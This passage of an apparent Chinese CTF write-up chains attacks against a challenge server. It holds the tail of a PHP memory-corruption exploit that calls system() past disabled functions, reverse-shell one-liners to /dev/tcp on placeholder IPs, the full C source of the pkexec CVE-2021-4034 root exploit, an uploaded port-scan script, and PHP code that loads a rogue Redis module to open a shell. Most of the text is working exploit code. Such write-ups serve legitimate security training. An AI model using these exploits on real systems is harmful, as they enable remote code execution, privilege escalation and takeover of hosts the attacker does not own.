$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);
$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);
$this->prepare_leaker();
$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);
$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);
$this->cleanup();
($this->helper->b)(CMD);
}
private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fputs($this->uafp, "\x00");
}
}
private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);
$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}
private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}
private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fputs($this->hfp, "\x00");
}
}
private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}
private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}
反弹shellpayload
pwn("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1'");
发现权限不够,可以用pkexec提权
https://github.com/arthepsy/CVE-2021-4034
#include
#include
#include
#include
#include
#include
#include
void fatal(char *f) {
perror(f);
exit(-1);
}
void compile_so() {
FILE *f = fopen("payload.c", "wb");
if (f == NULL) {
fatal("fopen");
}
char so_code[]=
"#include \n"
"#include \n"
"#include \n"
"void gconv() {\n"
" return;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";
fwrite(so_code, strlen(so_code), 1, f);
fclose(f);
system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
struct stat st;
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../LOL",
"GIO_USE_VFS=",
NULL
};
printf("[~] compile helper..\n");
compile_so();
if (stat("GCONV_PATH=.", &st) < 0) {
if(mkdir("GCONV_PATH=.", 0777) < 0) {
fatal("mkdir");
}
int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777);
if (fd < 0) {
fatal("open");
}
close(fd);
}
if (stat("lol", &st) < 0) {
if(mkdir("lol", 0777) < 0) {
fatal("mkdir");
}
FILE *fp = fopen("lol/gconv-modules", "wb");
if(fp == NULL) {
fatal("fopen");
}
fprintf(fp, "module UTF-8// INTERNAL ../payload 2\n");
fclose(fp);
}
printf("[~] maybe get shell now?\n");
execve("/usr/bin/pkexec", a_argv, a_envp);
}
exp我是直接通过nc开的服务下的,当然也可以直接用file_put_contents函数上传
nc -lvnp 2333 > exp.c
通过redis加载恶意.so文件
REDIS0008� redis-ver4.0.9�
redis-bits�@�ctime³��a�used-mem€� �aof-preamble� � � sercetye_w4nt_a_gir1fri3nd��nR�K��S
以上为secret.rdb的内容
猜测密码
ye_w4nt_a_gir1fri3nd
然后发现
redis端口不是默认的6379,需要我们自己去扫描,可以用如下脚本扫描
highlight_file(__FILE__);
for($i=0;$i<65535;$i++) {
$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 === "Address already in use") {
var_dump($i);
}
}
base64编码一下,然后用file_put_contents
上传
url?exp=file_put_contents('port.php',base64_decode($_POST[p]));
p=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9
可以看到除了80端口还有一个8888端口,那肯定就是了,所以我们就要想办法连接redis
这时候本来想着用蚁剑上的redis插件去连接的,但是看了wp,发现蚁剑插件与redis交互是用的stream_get_contents()
,但是这个函数被禁用了,所以我们就只能寻找其他可以与redis的函数
使用get_loaded_extensions()
查看所有加载的拓展,看其中有没有能够与redis进行交互的
?exp=var_dump(get_loaded_extensions());
array(34) {
string(4) "Core
string(4) "date"
string(6) "libxml"
string(7) "openssl"
string(4) "pcre"
string(7) "sqlite3"
string(4) "zlib"
string(5) "ctype"
string(4) "curl"
string(3) "dom"
string(8) "fileinfo"
string(6) "filter"
string(3) "ftp"
string(4) "hash"
string(5) "iconv"
string(4) "json"
string(8) "mbstring"
string(3) "SPL"
string(3) "PDO"
string(7) "session"
string(5) "posix"
string(10) "Reflection"
string(8) "standard"
string(9) "SimpleXML"
string(10) "pdo_sqlite"
string(4) "Phar"
string(9) "tokenizer"
string(3) "xml"
string(9) "xmlreader"
string(9) "xmlwriter"
string(7) "mysqlnd"
string(14) "apache2handler"
string(5) "redis" <<<<<<<<<<
string(6) "sodium"
}
可以看到这里有个redis拓展,很明显我们可以利用它,查阅一下使用文档
https://blog.csdn.net/raoxiaoya/article/details/100515541
https://learnku.com/articles/32113
可以看看这两篇文章,一篇讲拓展的基础使用,一篇文章讲述php-redis执行原生的redis指令
现在就是写个php脚本去加载恶意so文件了
$redis = new Redis();
$redis->connect('127.0.0.1',8888);
$redis->auth('ye_w4nt_a_gir1fri3nd');
$redis->rawCommand('module','load','/var/www/html/exp.so');
$redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/xxxxxxxxx/2333 <&1'");
然后就是通过file_put_contents上传恶意so文件了
https://github.com/n0b0dyCN/redis-rogue-server
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server/
cat exp.so|base64
然后用rawCommand执行redis命令
成功连上,这里有个坑,就是post传参的时候记得要把它进行url编码一下,避免其中的特殊字符如=
或者+
等的影响
?exp=file_put_contents('1.php',base64_decode($_POST[p]));
highlight_file(__FILE__); $redis = new Redis(); $redis->connect('127.0.0.1',8888); $redis->auth('ye_w4nt_a_gir1fri3nd'); $redis->rawCommand('module','load','/var/www/html/exp.so'); $redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/xxxxxxxx/2333 <&1'");
后面的解法就跟前面一样了,使用pkexec提权